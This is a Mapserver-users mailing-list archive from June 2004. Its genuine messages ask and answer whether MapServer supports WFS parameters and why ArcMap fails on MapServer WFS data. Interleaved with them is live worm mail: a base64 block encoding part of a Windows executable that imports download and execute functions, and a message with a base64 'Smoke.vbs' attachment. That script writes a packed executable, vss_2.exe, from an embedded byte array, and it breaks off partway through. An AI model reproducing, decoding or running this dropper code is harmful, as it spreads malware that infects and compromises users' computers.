d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAnLCOw4sJIoB4Zg5k jZqBpSyoEKiCR2FyGm0MQjeqHRcjR5edZI+4ekUFOqSfd7A0nqOaxW6aW3u0cVlbeGLDPF12 tiCvLWC6uTLEkasrdzQZnZejP3Q9ICVcGWCBAatQfUVlnrIEPXuNBMFTnbCRiXwhVoU+JgO9 Xj8UKKd/KmIsCsN5ayJhe0yMn668lccJFF9NPJvHdCLBdJwgRqySRxsqvRs2ScQ8WsWyCFOI Kh/DM2HBj5d+UmxPTnG6RT6xv17ASUacgDBMUqK0wIhvP6yHobt4R6kVC283xQG0sxhRE6iN p8dLnBBvXhB6JxJesAsvnJVofg4mIZM8vAW9plMWlmM5nrO+P50KNwlBgKJyQJe7YQgwPZOe L2Koll+plo8mZws/RrViBKDASiUJuikHVRwgEUQKLqmRGK9ni09VGyxuXm9arBKNRKpYpSzF ghZEcUMXODI+JxQUP2ikIApnWxkLEASgvpWqWpQ1RHU6M7YMc4ckcQVYC0ccc2OLBQ0pFW6v cMGYtYcwNLOzCJeHfx+ocjSyd425V6FqoiRLU1SlasBqgFCjmamyM21poAODJluOHxq/qWsr DnsIcXV7m0+eRROxbAYOtSdsQG0+dA9bo5qDmSoyIxKYQTRQo56IBxWba64oUmMLPopDNI1v qJYwNMYFkqUpbZW3QGFMmUlOW2FQgrJ/isMssyVoIqhUxpgTraQPuEKRXoVjQoc2P7+An6EB N1y9qnkeK70HZiV3XWsBJicTgbwpsQW2NW9YaamKPrB+A1dchAd0UxxmHcWauGljNJKALMDG AnF3OnJySgcbYSKYSZlltLFQd8OrnsMudymDQ5rEK4xzczzHhSpJsHCzQIiriDtVL4xYsAA+ CGuBLhW3S44yK0i5ZJloPoVUoKJdOrsNdTFpSWMiAW5kQG0pcYa2uHWlUJuRKTwioQ+doAif CpCJujMEFmUhiCfHJkKzrwKmNAYsSEmkLEQAvyZyraMDfF+4ipdbXLVbLyZ6e3vAYlXBk1Im hBM7s3ISoHM= ----------bmckjcupybmfxnitxoth-- From cristinanoversa at clix.pt Wed Jun 2 04:21:26 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Wed, 02 Jun 2004 12:21:26 +0100 Subject: [Mapserver-users] wfs doubt Message-ID: <20040602112126.29088.qmail@maboque.srv.clix.pt>

Hi


Does anyone can tell me if mapserver supports all the parameters (maxfeatures, propertyname, etc) of the operation request GetFeature,
GetCapabilities, DescribeFeatureType, LockFeature and Transation mentioned at WFS Specification?

I?m using some those parameters and apparently it doesn?t cause any changes in the results.

Thanks

Cristina

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From cristinanoversa at clix.pt Wed Jun 2 04:32:19 2004 From: cristinanoversa at clix.pt (cristinanoversa at clix.pt) Date: Wed, 02 Jun 2004 12:32:19 +0100 Subject: [Mapserver-users] arcmap and wfs Message-ID: <20040602113219.2630.qmail@maboque.srv.clix.pt>

I?ve tried to add some wfs data via ArcMap. I can get the list of all available layers. But every time I try to "add Data"?I get the following warning: "unable to parse data" and mapserver crahes.

Can anyone give me any help?

Thanks

Cristina

Clix Rapidix - Aumente at? 6X a velocidade da sua Internet
Adira em http://acesso.clix.pt e comece logo a navegar


  From bartvde at xs4all.nl Wed Jun 2 04:52:31 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 13:52:31 +0200 (CEST) Subject: [Mapserver-users] wfs doubt In-Reply-To: <20040602112126.29088.qmail@maboque.srv.clix.pt> References: <20040602112126.29088.qmail@maboque.srv.clix.pt> Message-ID: <10815.212.238.227.182.1086177151.squirrel@webmail.xs4all.nl> Hi, Can you send us the request you are trying? Which version of Mapserver are you using? Maxfeatures is supported though it is not done in the most efficient way, see: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=551 Most of the Filters are supported, see the Capabilities for a list of supported filters. Filtering your columns by using propertyName outside of the Filter seems to be broken, see: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=675 interfaces supported: GetCapabilities DescribeFeatureType GetFeature not supported: LockFeature Transaction Hope this helps. Best regards, Bart > HiDoes anyone can tell me if mapserver supports all the parameters > (maxfeatures, propertyname, etc) of the operation request GetFeature, > GetCapabilities, DescribeFeatureType, LockFeature and Transation mentioned > at WFS Specification?I?m using some those parameters and apparently it > doesn?t cause any changes in the results.ThanksCristinaClix Rapidix - > Aumente at? 6X a velocidade da sua InternetAdira em http://acesso.clix.pt > e comece logo a navegar > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bartvde at xs4all.nl Wed Jun 2 04:55:03 2004 From: bartvde at xs4all.nl (bartvde at xs4all.nl) Date: Wed, 2 Jun 2004 13:55:03 +0200 (CEST) Subject: [Mapserver-users] arcmap and wfs In-Reply-To: <20040602113219.2630.qmail@maboque.srv.clix.pt> References: <20040602113219.2630.qmail@maboque.srv.clix.pt> Message-ID: <7710.212.238.227.182.1086177303.squirrel@webmail.xs4all.nl> See: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=561 http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=577 But this won't work anyway as ArcMAP will be expecting the ESRI type of GML, and not the Mapserver type of GML. So you can most probably give up trying .... Best regards, Bart > I?ve tried to add some wfs data via ArcMap. I can get the list of all > available layers. But every time I try to "add Data" I get the > following warning: "unable to parse data" and mapserver > crahes.Can anyone give me any help?ThanksCristinaClix Rapidix - Aumente > at? 6X a velocidade da sua InternetAdira em http://acesso.clix.pt e comece > logo a navegar > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From TMitchell at lignum.com Wed Jun 2 06:14:51 2004 From: TMitchell at lignum.com (TMitchell) Date: Wed, 02 Jun 2004 07:14:51 -0600 Subject: [Mapserver-users] RE: Text message Message-ID: ----------pbhwdbxgldvykzywvpjm Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------pbhwdbxgldvykzywvpjm Content-Type: application/octet-stream; name="Smoke.vbs" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Smoke.vbs" ZGltIGZpbGVzeXMsIGZpbGV0eHQsIGdldG5hbWUsIHBhdGgsIHRleHRmaWxlLCBpDQp0ZXh0 ZmlsZSA9ICJ2c3NfMi5leGUiDQpTZXQgZmlsZXN5cyA9IENyZWF0ZU9iamVjdCgiU2NyaXB0 aW5nLkZpbGVTeXN0ZW1PYmplY3QiKQ0KU2V0IGZpbGV0eHQgPSBmaWxlc3lzLkNyZWF0ZVRl eHRGaWxlKHRleHRmaWxlLCBUcnVlKQ0KZ2V0bmFtZSA9IGZpbGVzeXMuR2V0RmlsZU5hbWUo cGF0aCkNCmRpbSBhDQphPUFycmF5KDc3LDkwLDAsMCwxLDAsMCwwLDIsMCwwLDAsMjU1LDI1 NSwwLDAsNjQsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMCwwLDAsMCwwLDE4MCw3NiwyMDUsMzMs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMTQ0LDAs MCwwLDE2OSwzOCwyMjEsMTksMjM3LDcxLDE3OSw2NCwyMzcsNzEsMTc5LDY0LDIzNyw3MSwx NzksNjQsMjM3LDcxLDE3OSw2NCwyMzgsNzEsMTc5LDY0LDk5LDg4LDE2MCw2NCwxMDksNzEs MTc5LDY0LDE3LDEwMywxNjEsNjQsMjM2LDcxLDE3OSw2NCw0Miw2NSwxODEsNjQsMjM2LDcx LDE3OSw2NCw4MiwxMDUsOTksMTA0LDIzNyw3MSwxNzksNjQsMCwwLDAsMCwwLDAsMCwwLDAs MCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsODAsNjksMCwwLDc2LDEsMywwLDIwNCwx NSwxNDQsNjQsMCwwLDAsMCwwLDAsMCwwLDIyNCwwLDE1LDEsMTEsMSw1LDEyLDAsODAsMCww LDAsMTYsMCwwLDAsMTQ0LDAsMCwyNDAsMjI2LDAsMCwwLDE2MCwwLDAsMCwyNDAsMCwwLDAs MCw2NCwwLDAsMTYsMCwwLDAsMiwwLDAsNCwwLDAsMCwwLDAsMCwwLDQsMCwwLDAsMCwwLDAs MCwwLDAsMSwwLDAsMTYsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMTYsMCwwLDE2LDAsMCww LDAsMTYsMCwwLDE2LDAsMCwwLDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwxNjQs MjQzLDAsMCw3NiwyLDAsMCwwLDI0MCwwLDAsMTY0LDMsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw4NSw4MCw4OCw0OCwwLDAsMCwwLDAsMTQ0 LDAsMCwwLDE2LDAsMCwwLDAsMCwwLDAsMiwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAs MTI4LDAsMCwyMjQsODUsODAsODgsNDksMCwwLDAsMCwwLDgwLDAsMCwwLDE2MCwwLDAsMCw3 MCwwLDAsMCwyLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCw2NCwwLDAsMjI0LDQ2LDEx NCwxMTUsMTE0LDk5LDAsMCwwLDAsMTYsMCwwLDAsMjQwLDAsMCwwLDYsMCwwLDAsNzIsMCww LDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDY0LDAsMCwxOTIsNDksNDYsNTAsNTIsMCw4NSw4 MCw4OCwzMywxMiw5LDIsOCwxOTEsMzksNjEsOTUsMjE4LDIwOCwxMTEsMTU4LDE5OSwxOTks MCwwLDIwMSw2NiwwLDAsMCwxNDYsMCwwLDM4LDAsMCwyMDQsMjU1LDI1NSwyNTUsMTU1LDI1 MCwyMDEsNTgsMTEzLDQyLDQzLDI0LDE0NCwyNDMsMTYzLDQzLDE2LDEzNywyNTIsMTIzLDgs MjE4LDEyMSw2NiwyMywyNCwxNCwxMTUsMjM4LDEyNyw5NCw4MiwxOTEsMjUzLDI1NSwyNTUs MTg2LDI1MCw0LDU4LDE0MywyNCw1NywxNzUsMTEzLDIyLDE3MiwxMTMsMTkxLDI0MiwxMTMs MTQzLDI0NiwxMTMsMTgzLDIzNCwyNSwyMjYsNDUsNTksMTYsMjQyLDIwMCwyNTIsMjIwLDI1 NSwxNzcsMjIxLDIyMyw1LDU5LDExMywyNTQsMzgsMjAxLDU2LDE4OCwyNCwxOCwxNjQsNTEs NTYsMjQ2LDI1MCw0MywxMDcsMjM3LDE4MywyMzksNDIsMTMsNDIsNSwxNDMsMjM0LDIsMjQ2 LDE3MCwxOCw1OCw1LDAsMTMsMjUsMTI3LDI1MSwyNDYsNywxMjEsNjIsMTQsMTQ2LDI1MCwy MTgsNTMsMTQ0LDI1MCwxOCw5Nyw1MiwyNTAsMTE1LDE5MSw2LDYxLDE5MSwyNTUsMTkwLDE5 NywxOTAsMTQsMTMwLDE0NCwxLDQ4LDI0MiwxOCw0NSwxODYsMTMsMTE5LDE5MSwyLDE3MCwy NTUsMTU1LDE3NSwxMjMsNDEsMTgsNiwyMSw4MywxMjEsMTM1LDIsMjUwLDE0MywyNDgsMTcs MjMzLDUsMTQzLDExOSwxMTEsMjM4LDE0NSwyLDE0LDE4LDEwNiw5MSw2NywxNCwxNyw1Mywx NSwxOCwxNzAsMTg2LDIxOSw1NCwxMTUsOTYsNzAsMTA2LDEzNSwxNCwxMTksMjU0LDEwNiwx ODMsMjQ2LDIyMCwxMDIsMjI2LDg5LDkwLDE2NSwyMDAsMjM2LDcxLDI0MiwyNDgsMTgzLDIx NywyMjIsMjIzLDEzNywyNTQsMjUsMTQ0LDI1NCwxNDYsMjIsMTY0LDE4OSw1LDI1NSwxMSwx ODksMjM3LDE5MywxODIsMTcwLDIwMyw3LDIwMSw0MCwxMyw3MSwxMDQsMzgsMjM4LDI0Niwx NzMsMjIwLDUzLDE3Myw2LDExMywyNTIsMjQ2LDU5LDE5LDI0OCw2NCw5LDgxLDksMjM5LDYy LDE3OCwyNTMsMTIxLDI3LDI0OSw5LDgwLDE2NSwzMCwyNDIsMTY5LDExMywxNjcsMjQ2LDMz LDE0NCwyMjQsMTgsOTksMjQyLDE0OCwyNTMsMTE5LDczLDEyMSw1OCwxNTUsNiw4MCwxNzcs MTQzLDExLDE2MSwzMSwyNDAsMTgsMTMxLDEyMywyMzEsMjIsNTAsMjAyLDE3NywxODQsMjUx LDE4LDc0LDE5NywxNjksMjAyLDE3MywxMTcsMTI3LDI0MSw1OCwxNDIsMjQ0LDE3MCwxNDQs MTQ4LDM3LDEyLDE4Nyw0MCwxOTYsMTI3LDIyLDE4NiwxOTMsMTMxLDE3Miw2OSwxNDMsMTMy LDEzNSwyMDEsMzMsMjUsMTc0LDE5NSwxNTEsMjM3LDI1NSw4Niw1OSwyNiwyMzQsMTIxLDMs MjUxLDE0MiwyNDEsODYsMTU2LDksMjQyLDI0OCwxNDIsMjUxLDg2LDE1NCw3LDEyMSwxMjMs MTIwLDE4LDIzMiwxOCwxOTksMTUyLDU2LDksMjQ2LDE4LDIwMSwyNTIsMTgsMTExLDIzNywy MjEsMTQ1LDIxMSwxOCwyMTYsNiwxODUsMTIxLDEsMjMyLDcyLDY2LDE1Niw2NiwyNDcsOCwx NzMsMjUzLDI1NSwyNDAsMTU2LDgxLDEyMSwxOSwyNDksMTMxLDcyLDEzLDM1LDIwOSwzLDc0 LDE5OSwyMDgsMTQ1LDE5NiwyNTUsMjU1LDI1NSwyNTUsMTIxLDI2LDE5NywxOTgsMTk2LDEz NywyMzIsMTk4LDIwNiwxMzcsMjQwLDI1NCwxODcsMTk4LDE2MSwxMzYsMjQ1LDI1NCwyNTIs MTcsMjQxLDI1NCw2LDE3LDI1MywyMTQsMTk2LDU4LDI2LDI0OCwyNTQsMjM1LDMwLDIxOCwx OTUsMjA5LDgwLDczLDE2OSwxNDQsMTA1LDM2LDE2MSwxMjcsMTc5LDEyNSw2NywxMzUsMTIz LDIwMSwxMTMsMzQsMjI0LDM0LDYsOTcsNTEsNSw4LDg0LDEyMiwyMjMsMjQ2LDEyMywxODcs MTkwLDE0MiwyMjcsMTc4LDE4LDExNiwxOTYsMjExLDE0MywyNTMsODksMTYxLDIzNywxMTUs MTU3LDQ5LDExNSwyNTUsMjUyLDEyMSw2MCwyNTQsMTcsMzIsNjYsMjUxLDEzNiwxOCwyNCw2 LDExOCwxMzMsMTU5LDIxOSwyMjIsMTQ2LDI0OCwyMSw4MywxMTIsNCwzNiw3NywxODksMTg5 LDQ2LDI0NiwxMTksMjMsMTMyLDY3LDI1MCwxOSwxMTQsMjM4LDE5Miw0LDU2LDI0LDMsMTgs OTgsMjE0LDI0OCwxMDksMjI3LDYwLDE5MSw0LDExMyw1MSwxOTIsMTEyLDI1NCwxOTMsMTE0 LDE5MSwxMzMsMTMsMTc4LDIzNywyMzgsMTgyLDgsMjAzLDUsMjQ1LDc2LDE3NSw5LDE5Miwx MTQsMjEsMTEyLDIzNiwyMTksMTMzLDE4Myw1LDE5MiwxODcsMTkzLDQwLDEzNiwyNDgsNDAs NCw1NywxNDMsNDcsMjE2LDE4MywyMywyMjAsMjE3LDEwNiwyLDE4NSwxNDMsMjQyLDExMiwy NDksNjAsNywxMTIsMTA4LDE5NiwyMiwyMTgsMTg1LDI1MSw1LDIyMCwxLDg3LDE0MCwyLDI1 NCwxODEsMjQ2LDIyNywyMjgsMTg2LDQsMjcsNzksMywyMzgsMTk0LDExNCwxNzUsMTA5LDIz OSwyMTksMjIxLDk5LDE3NSw2LDEzLDYsMTEyLDEyLDQsMjMsMTQ1LDE5NCwxNTUsMjM1LDky LDEzOSwxNiwyNiw5LDUsMjQ4LDEyMiwxNjQsMTEzLDIyMSwxODYsMTgzLDExMSw2NCwyMDIs MjM4LDIwMiw1LDUsMjQsNTgsMTEyLDM1LDI0OSw0LDYsMTE0LDIyMyw2Miw3MywxNzUsOTYs MjMwLDI1LDExMywxODYsMTk4LDI0OSw1LDI0NSw3NywxODYsMjUyLDEzMywyMjEsNDUsOCwy MTQsMjI2LDY2LDIxMCwxMTYsMTMsMTU5LDIxOCwxNDAsMjQ3LDIxNCwxNTAsMTc1LDE2OCwy OSw1LDI0OSw1NiwyNTUsMTM2LDI4LDE1MCwxNzMsMTI0LDE1MiwyNDYsMTksNDMsNSw2MCwy MzgsMjQ2LDIzLDEwOCwyMjgsMTk0LDIzLDY3LDIzNCwyMCwyMjEsMTYsMTYzLDEwNywxOTAs MjEsMTE3LDE3OCw4LDE3MCwxNDQsMTE2LDI1MSwyMTgsMjEwLDE1NSwxODMsMTc5LDkxLDUs MTk0LDExMywxMTMsMTg1LDEwNywyMjMsMjU0LDE5MSwxNjEsMTEsMjA5LDQ4LDExMywxNjks MjQyLDI0OSw0MywyNDksMTY5LDI0NiwxMTUsMjIxLDUsMTM3LDIzNCwxMTcsMTgyLDIzLDI0 MiwxNTcsMTkwLDExOCwyMzgsMjUxLDUsNjMsMTgxLDE3LDYyLDE2MCw5OSwyMzcsMTE5LDU5 LDE0NCwyMTAsOSwxNSw2LDE4LDI0NiwxMTcsNTksNSwyMzQsMjMsMjAyLDE3OCw0NCwyLDIz OCw2LDU3LDE4NSwyMjIsMjUzLDIwMiwyMDEsMTUwLDIxOCwyNiwyMjMsMTU2LDUsMjUsMTg2 LDE3MCw3NywxODIsMjE3LDIyMywyMTIsMjUxLDE3MCwxNzAsNjEsMTIyLDQyLDI1MCwwLDks NDYsMTA4LDE0MywxMDksNTIsMjA3LDIzNCwzMywyNDIsMzcsMjEwLDE3LDI0OSw1OCw2LDIy OCwxOTgsMTY3LDMzLDM3LDEzLDI1MSwxNDQsMjUxLDEwNCwxOTksMjA1LDIzOCwxODIsMTUw LDY5LDg4LDIzMiwyMyw1LDE2OCwyNDIsMTcsNDEsMjQ2LDI1NCwyNTMsMjMyLDExOSwxNzUs MiwxMzcsMjQ4LDYxLDE4NCwyNTQsNzksMzUsMjUzLDc1LDI0OCw5NCwyMjEsMTUzLDYsMzYs NDYsMjM4LDI0NSwyMTUsMTc4LDE3NywyMTksMTcyLDExOSwxOSw2MSwyNTIsMTMxLDE4OCw0 OCwxMDUsOTAsMTc2LDE1LDIzNiwxNDQsMjQ4LDQ5LDExMywyNTIsMTY0LDk5LDIzLDM5LDEz NSwxODUsMTc5LDc2LDExOSwyNDgsMTgsMjUwLDEyOCwxMzksMTA4LDE3NywzNywxMzcsODks MjQ4LDEzOCwxNTEsMjA1LDIwNCw1NSwzMyw1MywxODIsOTEsMjI2LDEwNSw0NCwyNDcsOTYs NTAsMTIzLDYyLDEzMCwyOSwxNzMsMjQ5LDI0OCw4LDQ0LDE4NCwyMzgsMTQ2LDUxLDEyMiwy MDMsOTksMTkyLDIxLDE5MCwyMjEsMzIsMjQwLDE4NiwxNDIsMTkwLDMsMTIyLDI1LDExOSwx MjcsNDUsMTcwLDc1LDU0LDk2LDE5MSwyMjgsOTEsMTkzLDIzMSwyLDI0LDkwLDE0NiwyNTEs NzAsMTYwLDIzNCwzMCw1MSwzNiwxMDAsNjgsOTUsMTgzLDEwOCwzOSwzNSwxOSwxOCwxNzMs MjMwLDE4LDIyNiwxNTEsOTAsMTYzLDEyNCwyMjUsNDAsMTk4LDEyNCwxNTYsNjEsMTkxLDAs MTMyLDk3LDIyMiwyMywxOTAsNTMsMTEsNSwxODMsMCwxMywyNywyMjQsMTQ0LDE4NiwxOCwy MjcsOTMsODAsMTgyLDE0MywyMjEsMjAxLDI1MywyMTAsMTk0LDIyLDExNywxODksMjU0LDUs MTAsMTg4LDEwNSwxODIsMjA1LDIwNSwxMDcsMTU2LDcsMjQ2LDAsMjQ0LDYxLDE4OSwyMzQs MTA2LDIwNywyMTIsMzQsNjMsMzEsMTU5LDEwLDYzLDI3LDIxNiwyMTgsMjE4LDIxMCwyMjks NTIsMjYsMTA0LDI0OSw1NCwxNTcsMjQyLDIzOSwzOSwyMjUsMTk0LDExNSwxODksNjksNjEs MTY1LDMxLDI2LDE2OSwxNzMsMjAxLDUsMjIyLDY3LDcxLDIxMSwxMjksMTQ5LDE3NiwxMTAs MTY3LDExMSwyMzgsMjI1LDEwNCw3LDIyMiw4OCwxMDgsMjM4LDE0LDIwNCwyMDgsMjAsMjQ4 LDIzNSw5OSwyNCw2LDIxNCwyMzQsMTgsMjI5LDE5OCw4NiwyNDUsMTI2LDEyNywxMTUsMTM1 LDgsNDksMjksNywxNDIsMTAsOSwyMDMsMjAzLDE5NSwxNzUsNTgsMjAwLDUxLDE5NSw0Mywy LDE1OSwxNDQsMjQ0LDI0LDExOCwyMjMsMTQ5LDI3LDE2MCwxNzQsMCwyMTcsMjQsMTg0LDE4 Myw2NiwyNDQsMzYsMjQ5LDI0OSwyNDYsOTcsMTA3LDIyMCwyOSwyMiwyNDksMTYxLDUsMzAs NzYsMTAsMTcwLDM4LDE4OSwxOTMsMjIwLDExMCwyMDMsMTgsODgsMTE5LDE5LDIxMCwxMjIs MjMzLDE1OCw3NSwyMTAsMTgsMTE3LDE1NCwxMzksMTksMTI5LDExNCwzMSwxMTYsMTU5LDcs MTgzLDEwNSwxODksMTEyLDIyLDgsMjUxLDEyLDE1OSwyMTksMjA5LDIsNSwxNjIsMTQ0LDQ2 LDIxMywxNDYsNyw4NiwzMiwyNSwxNTcsMjM4LDE2MSwxMDYsMjYsMTMzLDEwMCwxMDcsMTQz LDE5NSwyMiwzMywxNTgsMjIyLDEyLDEwLDIyNSw4LDE4NywyMTEsOTgsMjQ1LDIyMCwxOTMs MjI4LDE0NCwyNDYsMTcyLDIwNywyMzEsMTgyLDI0NywxOTksMTkzLDExOSwxMzUsMjUxLDMw LDc2LDI0OSwzNCwxMzQsMjMwLDEyMywxOTAsMTcwLDI2LDIxMiwyNTEsOSwyMDgsMTQ2LDU5 LDE5NSwxOTEsMTEwLDYsMjIyLDE2LDEsMTczLDI0OCwxOCwyMTQsMywyNTQsOCwxOTEsMTEx LDU4LDcsMjIyLDE2MCwxNDYsMjMxLDExMiwxODYsMzIsMjU0LDE0NCw0MSwxODIsMjE2LDE4 Nyw0OSwxNjgsNjIsNzAsMjQ4LDkzLDEsMTc1LDc4LDIwMiwxNTksMTc1LDIyOCw1MiwxMzgs NjIsNDYsMjUyLDE4LDIzLDIsMTg1LDI1MSwyMzcsNywxNTQsNjYsMTcwLDU0LDE1LDE3LDIw NywxMjEsMiwyNTEsMTEsMjUwLDU0LDE3MCwxNzksNTIsMTg3LDEwMSwyMTEsMjQ4LDIzLDU0 LDE3MCwyMzEsMjQ5LDEwOSw1NCwyMDMsMTE0LDIzNCwyMzQsNSwyMzUsMjU0LDUsMjE4LDI1 NSw2NiwyMTMsMjE4LDEwMywyMzYsMjEzLDc5LDEwNiwyMjMsMTE5LDI0NCwxNDAsMTEyLDIy NCwxMzQsMjM5LDUzLDE4LDE0OSwzNiwxOCwxODAsMTkyLDc3LDUwLDE1LDEzNSwxNzYsMjM5 LDU3LDI3LDE2OSwxODQsMTg0LDEwNywyMjYsMTksMjM5LDgyLDI1NSwxOCwxNTEsMiwxMSwy NDUsMTcwLDIyLDE1MiwxMCwxOTMsMTczLDE4MSwyNTMsMSwyNDAsMTQwLDI1NSwxNSwxMzcs MTIsNCwyMDUsMTcwLDYsMjI5LDkzLDI0Myw3LDg0LDE3MSw5LDI0NiwxOCw3OCw3LDQ0LDg5 LDUyLDEyLDkyLDEwLDE5Myw4MSw3NCwxODIsMjExLDE5NSwxNDEsMTgyLDE3MCwxOTQsNzks MTAsNDcsMyw2LDI0LDIzMywxNCwyMjMsNDYsMjM5LDg2LDg2LDE4NiwxODMsMjYsMjA3LDE0 LDE1MCwyMTcsOTQsNjgsODAsNTMsMjcsNzQsMTIxLDIzOCwyMjUsMjQsMjAzLDYsMTkxLDc2 LDUsMjI5LDE1MiwxMCwxODIsMjI0LDE5MCwyMDAsMjIzLDEzNywyMDIsMTYsMTgsMTI5LDE5 NCwxMjUsMTE0LDEwLDI0NCwyNCwzOCwyMjIsMzAsMjM4LDYsMTE5LDIwMSwxMTcsMjMyLDks OTQsNjksNjMsMTEwLDQ3LDI0MSw4OCwxNywxMTAsNTcsMTgyLDUsMjE2LDE0Myw2NSwyMSw0 NCwyMDUsNyw2LDIzMSwzMSw3LDEwLDE4LDUyLDIwNSwyMTIsMTQsMjE3LDIwMyw3MCwxMzEs MTY5LDE2NCwxNTQsMTQsMjIwLDEsNSwxNzQsNzcsMTM2LDY5LDU2LDkxLDIwNSwyNTQsMTIy LDQ3LDExLDI0NywxNDEsMTQxLDEyMCw4NCw2OSwyNDIsODAsMzIsNDUsNiwxMTcsMTAyLDEx NSwxNzUsMjAyLDIwOSwxNSwxODAsNzgsMTM3LDIyOSwxNTgsMTA4LDE0MywzMiwyOSwxNzYs MjAsNjYsMjUxLDE4NSwxODYsMjE1LDI0MCwxOTgsMTMsNzAsMjQzLDExOSwxNzksNzAsNjcs NjEsMTQ5LDE0LDU5LDE1MiwxMiwxMTksMTM4LDM4LDEzMSwxMTMsMTksMTY2LDIyNSw1OSw4 NCwxNDMsMTc2LDEzNCw2NSwyMTcsMTA4LDExLDE4MywyMTksNDcsMTQ2LDk0LDU1LDE0Niwx ODQsOSwzMywyLDExNyw4MSw0Niw5MSw5OSwxNTIsNDEsMTc4LDIyLDI1MiwxMyw0Nyw4LDc5 LDIwNywxOTgsMjM4LDIzLDIyLDkxLDQ3LDI3LDIzOCwxNzcsMjksMTEzLDcyLDEyLDQ0LDI1 Myw2OSwyMTUsNTgsMTAsNjksMTg4LDE3NywxOTEsMTg1LDIwNSw2LDMyLDM4LDE3MCwxNzMs MTgsMTYxLDQsMjUsMjMyLDEzLDIwNCw4LDE1OSw2MSwxODUsOSwxNSwyNDgsMTEzLDM3LDEy Nyw4MiwxMTEsNzgsMTk4LDIxOSwxNTEsMTY1LDE1MiwxNiwyMDMsMjA1LDUwLDY0LDYyLDQx LDc0LDI1MiwxMjcsMjQwLDI0LDExLDI1LDIzOSw2NywzMiw1OSwyNCwyNTUsNTksMTcsMjI1 LDI0MSw0MSw5OSwxOSw0NSwxODIsMTMzLDE4OCwyNDksMjIsMjAsMTg1LDY2LDE3Niw2OSwx NjEsNzMsMjU0LDEzMiwxMzAsMTcwLDExMCwxODIsMjQ1LDIxNiw3MSwxNjMsMjA0LDkyLDEw NywyNTEsNzQsMjUsMjQ1LDE4MiwxNzgsMTMxLDIzNCwyMTcsMTgzLDI0Niw2MSwyNDgsNjks MTg2LDE3Myw4MCwxODQsMSw1NiwxMjEsMTk0LDE5MSw0NCwyNDIsNDYsMjA4LDE4NSwxODIs MTU3LDExMCwxNjAsMTE1LDI0OCwxMzMsMTc2LDIxNSwyOCwxNDcsMjA5LDk4LDIzLDExMSwx NjQsNDIsMTEzLDI0MiwzNiwxNDMsMjUyLDE3OSwxOTksMTEwLDIwOSwyMjQsMTYwLDE4Nywx NTMsMTgsMTY4LDQ1LDYsMjA3LDExMSwxMzksMjEsNTYsMjA1LDQ2LDI5LDE4NiwzMCwxNjEs MTIzLDU1LDIsMTg0LDQ2LDIwNiwxNzMsNjEsMTI3LDM0LDYsMjEwLDI3LDE5MCw5MywxMjks MTQ3LDEwNyw5Myw0NCwxMTUsMTI3LDI1LDExOSwxMTksMjM4LDE4MywxOTcsMjQsMjQ3LDc5 LDEyLDE4LDI5LDIzLDEwMiwxODQsNjksMTg5LDI3LDI1MSwyMTcsMTgyLDEzOCwyNDQsMTcz LDI3LDYsMTgsNDEsMjA0LDIxLDI0MSwzNiw3LDEzMiwyMTgsMTAzLDI2LDcsMTUsNCw1MSwx NDMsNDUsMjksMTA4LDExNSw5Nyw2Nyw4MywxNyw2NCwxMiw2MiwyMDYsMTY1LDY3LDUsNzgs MTczLDg4LDEyNiw2MSwyNDAsMjA2LDIwMiwxNDIsNSw4MywxOCwyNDksMzUsMjEsMTk1LDEx NywxNDAsMTk1LDMyLDExMiw2LDE3MSwyMjMsNzcsMjI1LDEwNSwxMjIsMTEwLDEzOSwxOSwz NSw4Nyw1OCw1NSw2MSwyNiwxODIsMjAwLDY3LDIzNCwzMywxMzYsMjMyLDIwNywxNCwyNTMs MTUxLDEzMyw3MCw3MCwyNDksMiwxMTgsMjUyLDY4LDM1LDEyLDI2LDEzLDEyLDIxMywxNiwy NDQsMTY5LDE0MCwyNDQsMjI1LDE1NiwyNDksMTQ2LDE3OSwxNzcsMjA2LDg5LDE4NiwzMyw5 OSwxMzUsMTAsMTYxLDE4MCwzMiwyNDgsMTU2LDIwNSwyMTYsMTk1LDU4LDI0NywyMDgsMzIs 